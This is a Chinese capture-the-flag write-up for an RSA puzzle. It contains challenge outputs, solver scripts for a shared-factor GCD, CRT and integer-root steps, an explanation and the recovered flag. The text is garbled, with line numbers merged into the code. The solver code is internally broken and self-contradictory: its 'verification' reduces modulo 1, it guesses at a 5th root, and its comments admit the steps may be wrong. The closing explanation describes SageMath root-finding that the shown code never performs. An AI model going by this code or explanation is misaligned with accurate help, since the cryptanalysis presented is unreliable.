# cs = [3833095607830862948079097323254872789586576953317671099752083261949616608759231291050566542764984974722790226120399722937104503590740358249900089784508490830379531632752169777949200718567033018577184658177019404903817920024468923715441355404672443007723525750768430895425376124679225715687382380114628103058312176343693900115638265002657622618744666247132114654135429040069316368839938881716554901593031901272992940200484460436193699175500376368456706998564064693820008778900344357745691652875500810447147088715289581351501876012044611990972521570253106671158207677490849249612002954497927762168699886110455354481924, 1502420121177211156091634258259634977709023894278792755694473756163084431123774101512866316989917922052023168401167212284219907272528117024670443698990238243030221117004372456475521502350404137469088570170885409265567084376069256924135270283335242133163303599239181417949980292944203204296598188175632723968779672994090788585343302473442389865459398142634104331743517384589200789331489394375604801951994831647339839112698394141328178967516636452592385248135340133712522135715943787590172334743893259621909532456281362868290556461907936774231166936915669816509378419892149164552548131776979706381641477878931403040942, 8992204063713908492214256291861339175525948946919629972908439132005643626148678347198381531633907182877152728077958345519083406637446972079387161726967295886447791613166577391233866583354793842121902234644830640050181130381996083089350911224037154798259291124104894554037604500881250119806371348673833105103600782286898276354573884788251542211434143476774391457587885772379990104835187104619922442613860682792470389490804228050671124495925536024571104944112397143299499508504917890140939438891891453283594000764399193028606955089853654071198909973555844004685149713774167524224100487937899126480545681565581673958854]31
32
qq = getPrime(1024)33
nn = P * qq34
qqq = qq >> 460 << 46035
print(f'nn = {nn}')36
print(f'qqq = {qqq}')37
# nn = 1685173579777119965962593679727915852637974129869233978604949432938561819151092973511328492612568252286266738293860311648108711559832423202083813661851896434375265300014561109298061255694795472833950841664603529565185284009920512758760689823520311487594263790016764430065759996642045918713102711726800404270899823979843457824649741954754359877969790929810235812878812033279412369071464749909132624502297797051046892583736330054590065742013489481524618904337561987991552361189053814225704275386866584469202912422902805654709676432054757996564127615176050792119982791044591901777591341182326330792321632352788326243811738
# qqq = 12104253193082099749265629608454461695872419143489594541985809920442689871141352680630085455399373880303149743849540329140648199787727391688391825330290919653382394532727731267293181955534413977799280110643764379049837946953078798505156959033129142259239354039148151900478290459871003790742067919094296451481639
40
assert len(FLAG) == 4241
n1 = P * Q142
n2 = P * Q243
c1 = pow(bytes_to_long(FLAG), E1, n1)44
c2 = pow(bytes_to_long(FLAG), E2, n2)45
print(f'n1 = {n1}')46
print(f'n2 = {n2}')47
print(f'c1 = {c1}')48
print(f'c2 = {c2}')49
# n1 = 2165561783835803789553460516235878432649525146244721848510215599715639413244389154020386091543355991731426745504684436074362305097508361791580692209669730460387813429596465043039337522579278180472629246092370889072282743655220901636804742099361349719605932637461621765562581017108054526705826627811264771578475643389580975791707040189561316891016681256654559340536295348780784053942538312336984274182126052300520847936148489176271474972168383475460159679670766971808434384527679315364900562859089627928195658860706299939888931424029507352468810829934560930765909193627025536776293654256596163916323659445686291981354950
# n2 = 2462301633869857996743178168020007570624101438406625066036094968438583160482281731445797355963221580120578078614460831136106362281301739685888843652911673775465306720384330601576709158569780336465662492685355199722989708773129879790420829258556251760213266333174878439075295875766148456033540676920449193987932407908914042046730177336605008481028236904462244278411368806222037053152203651280346160704961964133652448650738823228068372606567929574245615860621329453395658046286348808202856336000696691226490842468068657734454903403347095203676685059689706292413734407988930194825843868054578513911810789936730703139630951
# c1 = 261572234286037390583349192569246589970522937378577362211874627030079364709882199355068658141888251820409429981203371902007750927029000761586657220219273116953884351363410697782718768870972519864348137556211429403263721189227659150675907565322415006470964452287382473670773461434748422482638042311100527480129132913243126994957563091899252094909583768043631712867692738969279095719567431021974091858543779301621870220719292533082116512664726085964487658345285101116313609731788584775694427921414907245293003661470345135233156785745377002062641494800535854708960748050827400588864856971775052309434297376714805932955752
# c2 = 6769301750070285366235237940904276375318319174100507184855293529277737253672792851212185236735819718282816927603167670154115730023644681563602020732801002035524276894497009910595468459369997765552682404281557968383413458466181053253824257764740656801662020120125474240770889092605770532420770257017137747744565202144183642972714927894809373657977142884508230107940618969817885214454558667008383628769508472963039551067432579488899853537410634175220583489733111861415444811663313479382343954977022383996370428051605169520337142916079300674356082855978456798812661535740008277913769809112114364617214398154457094899399以下脚本仅供参考理解并没有代入实际值
参考原题解析
https://blog.csdn.net/luochen2436/article/details/128012748
求解E1
由q = next_prime(getPrime(16) * p + 38219)可知，q为p*getPrime(16)+38219的下一个素数，因此getPrime(16)较小，所以我们可以在其取值范围为遍历出符合题目的值,从而解出q。
33
1
from sympy import isprime, nextprime, isqrt, mod_inverse 2
3
# 假设 n, e, c 已经被定义 4
n = ... # RSA 模数 5
e = ... # RSA 公钥指数 6
c = ... # RSA 密文 7
8
for i in range(2 ** 15, 2 ** 16): 9
if isprime(i): 10
# 尝试找到一个可能的 q 11
# 注意：这里我们假设 iroot 返回一个元组，其中第一个元素是整数部分 12
# 如果 n // i 不是一个完全平方，这将导致问题 13
sqrt_n_div_i = isqrt(n // i) 14
if sqrt_n_div_i ** 2 == n // i: # 确保是完全平方 15
candidate_q = i * sqrt_n_div_i + 38219 16
if isprime(candidate_q) and n % candidate_q == 0: 17
q = candidate_q 18
p = n // q 19
phi = (p - 1) * (q - 1) 20
d = mod_inverse(e, phi) # 使用 mod_inverse 而不是 invert（假设这是自定义的） 21
E1 = pow(c, d, n) 22
print(f"Found q: {q}, p: {p}, phi: {phi}, d: {d}") 23
# 将 E1 转换为字节串（如果可能） 24
try: 25
print(f"Decrypted message: {long_to_bytes(E1)}") 26
except OverflowError: 27
print("Decrypted message is too large to convert directly to bytes.") 28
break 29
# 如果不是完全平方或不是质数，则继续循环 30
31
# 如果循环结束仍未找到 q，则打印错误消息 32
else: 33
print("Failed to find a valid factorization of n.")求解E2： 中国剩余定理
简单处理一下，之后开e次方即可。
27
1
from sympy.ntheory.modular import crt 2
import gmpy2 3
4
# 假设这些值已经正确设置 5
ns = [...] # 您的模数列表 6
cs = [...] # 对应的余数列表 7
8
# 使用中国剩余定理找到 m 9
m = crt(ns, cs)[0] 10
11
# 尝试找到 m 的 89 次根 12
root, remainder = gmpy2.iroot(m, 89) 13
14
# 检查余数是否为 0（如果是，root 就是 m 的 89 次根） 15
if remainder == 0: 16
print(f"m 的 89 次根是: {root}") 17
else: 18
print("m 不是 89 次幂的整数") 19
20
# 可选：验证根 21
if remainder == 0: 22
# 计算 root 的 89 次幂并检查是否等于 m 23
verification = pow(root, 89, gmpy2.mpz(1)) # 使用 gmpy2.mpz 以防 root 太大 24
if verification == m: 25
print("验证成功：计算得到的 89 次幂等于 m") 26
else: 27
print("验证失败：计算得到的 89 次幂不等于 m")求P以及flag
第三部分代码本来是出题者想出p高位然后去求P的，但是在第四段代码中出了纰漏，n1 = P * Q1和n2 = P * Q2这两个n有共同的因子P，所以可以直接求他们的最大公约数得到P,即P=gmpy2.gcd(n1,n2)，则分别可以求出Q1=n1//P和Q2=n2//P。
本题难点：计算E1和phi1，E2和phi2发现都等于35，不能够直接求私钥d了,而且求出来的m直接开35次方也得不到flag。
完整解题代码
56
1
# 导入必要的库 2
import gmpy2 3
from Crypto.Util.number import CRT_list, long_to_bytes 4
5
# 定义两个RSA公钥的模数 6
n1 = ... # 第一个RSA公钥的模数 7
n2 = ... # 第二个RSA公钥的模数 8
9
# 定义两个RSA公钥的密文和公共指数 10
c1 = ... # 第一个RSA公钥加密的密文 11
c2 = ... # 第二个RSA公钥加密的密文 12
E1 = ... # 第一个RSA公钥的公共指数 13
E2 = ... # 第二个RSA公钥的公共指数 14
15
# 计算两个公钥模数的最大公约数，假设存在公共的质数因子P 16
P = gmpy2.gcd(n1, n2) 17
18
# 计算剩余的质数因子Q2和Q1 19
Q2 = n2 // P 20
Q1 = n1 // P 21
22
# 使用中国剩余定理的变种来解密（但这里首先需要调整指数以正确应用CRT） 23
# 注意：这里假设了E1和E2都可以被35整除，这在现实情况中是不常见的 24
c = [ 25
pow(c1, gmpy2.invert(E1 // 35, (P - 1) * (Q1 - 1)), n1), # 对c1使用调整后的指数进行解密，模n1 26
pow(c2, gmpy2.invert(E2 // 35, (P - 1) * (Q2 - 1)), n2) # 对c2使用调整后的指数进行解密，模n2 27
] 28
29
# 使用CRT组合解密后的结果 30
# 注意：这里假设了存在solve_crt函数，实际上可以使用Crypto.Util.number.CRT_list 31
c3 = c[0] * c[1] % P # 这一步可能不是必要的，取决于solve_crt的实现 32
c_combined = CRT_list([c[0] % Q1, c[1] % Q2, c[0] * c[1] % P], [Q1, Q2, P]) # 更标准的CRT使用方式 33
34
# 计算phi和n（实际上n = P * Q2或P * Q1，因为P是公共因子） 35
phi = (Q1 - 1) * (Q2 - 1) 36
n = P * Q2 # 或 P * Q1，这里选择Q2作为例子 37
38
# 注意：这里的d计算可能不正确，因为它直接对7取模逆，这在RSA中是不常见的 39
# 正确的d应该是对phi取模逆的e的逆元，但这里我们假设d已经以某种方式获得 40
# d = gmpy2.invert(7, phi) # 这行可能是错误的，仅用于示例 41
42
# 假设我们已经有了一个有效的c_m（这里用c_combined代替）和d 43
# 注意：实际上，由于上面的d计算可能是错误的，下面的解密也可能不会成功 44
# c_m = result % n # 这里应该是c_combined，因为result未定义 45
c_m = c_combined 46
# 假设d是正确的，进行解密 47
# m = pow(c_m, d, n) # 这行在d正确时是解密操作 48
49
# 但由于上面的d计算可能是错误的，我们直接跳到最后的假设部分 50
# 假设m的5次方根是flag（这在RSA解密中是不常见的，可能是特定题目的要求） 51
# 注意：这里使用gmpy2.iroot来找到m的5次方根 52
flag = gmpy2.iroot(c_combined, 5)[0] # 注意这里使用了c_combined而不是m 53
54
# 将flag转换为字节串并打印 55
print(long_to_bytes(flag)) 56
这段代码是一个典型的RSA密码破解示例，其中利用了RSA加密系统的某些弱点（如公共指数与欧拉函数φ(n)不互质）来恢复明文。此外，它还使用了中国剩余定理（CRT）来组合在两个不同模数下的解。下面是对代码的逐步解析和解释：
导入必要的库：代码首先导入了gmpy2库用于大数运算，以及Crypto.Util.number中的CRT_list函数用于应用中国剩余定理。
定义n1, n2, c1, c2, E1, E2：这些变量分别代表两个RSA公钥的模数、密文以及公共指数。
计算p和q：由于n1和n2有共同因子p，所以通过计算gmpy2.gcd(n1, n2)找到p，然后用n1//p得到q。这里假设n1和n2都是p和某个不同q的乘积，这在现实中很少见，但在这个例子中是有效的。
计算欧拉函数φ(n)：欧拉函数φ(n) = (p-1)*(q-1)，用于后续计算私钥d。
找到E1和φ(n)的最大公约数t，并计算私钥d：由于E1和φ(n)不互质，这允许我们找到一个非1的t，并用它来计算私钥d。这里使用了gmpy2.invert(E1//t, phi)来计算d，这是基于扩展欧几里得算法求逆元。
解密c1得到m：使用私钥d和模数n1来解密c1，得到中间值m。
构造多项式并求解：由于m是模p和模q下的解，我们构造多项式x^t - m，并在模p和模q的域内求解这个多项式。这里使用了SageMath的Zmod和roots函数来找到解。
应用中国剩余定理：对于模p和模q下的解，我们使用CRT_list函数结合中国剩余定理来找到原始的m值（在这个场景下是flag的字节表示）。
验证并打印flag：遍历所有可能的组合，应用中国剩余定理后检查得到的字节串是否包含"flag"字符串。如果是，则打印出flag。
flag{27dab675-9e9b-4c1f-99ab-dd9fe49c190a}
附件地址下载：
链接: https://pan.baidu.com/s/1STzokhdXgKvXz-d2Be5mYQ 提取码: qjyq
转自参考原文连接地址：
https://xz.aliyun.com/t/15710?time__1311=GqjxnQiQoQqqlxGgpDyDmOeXGCKQ4%2BmEex#toc-6
https://blog.csdn.net/m0_68012373/article/details/142521196
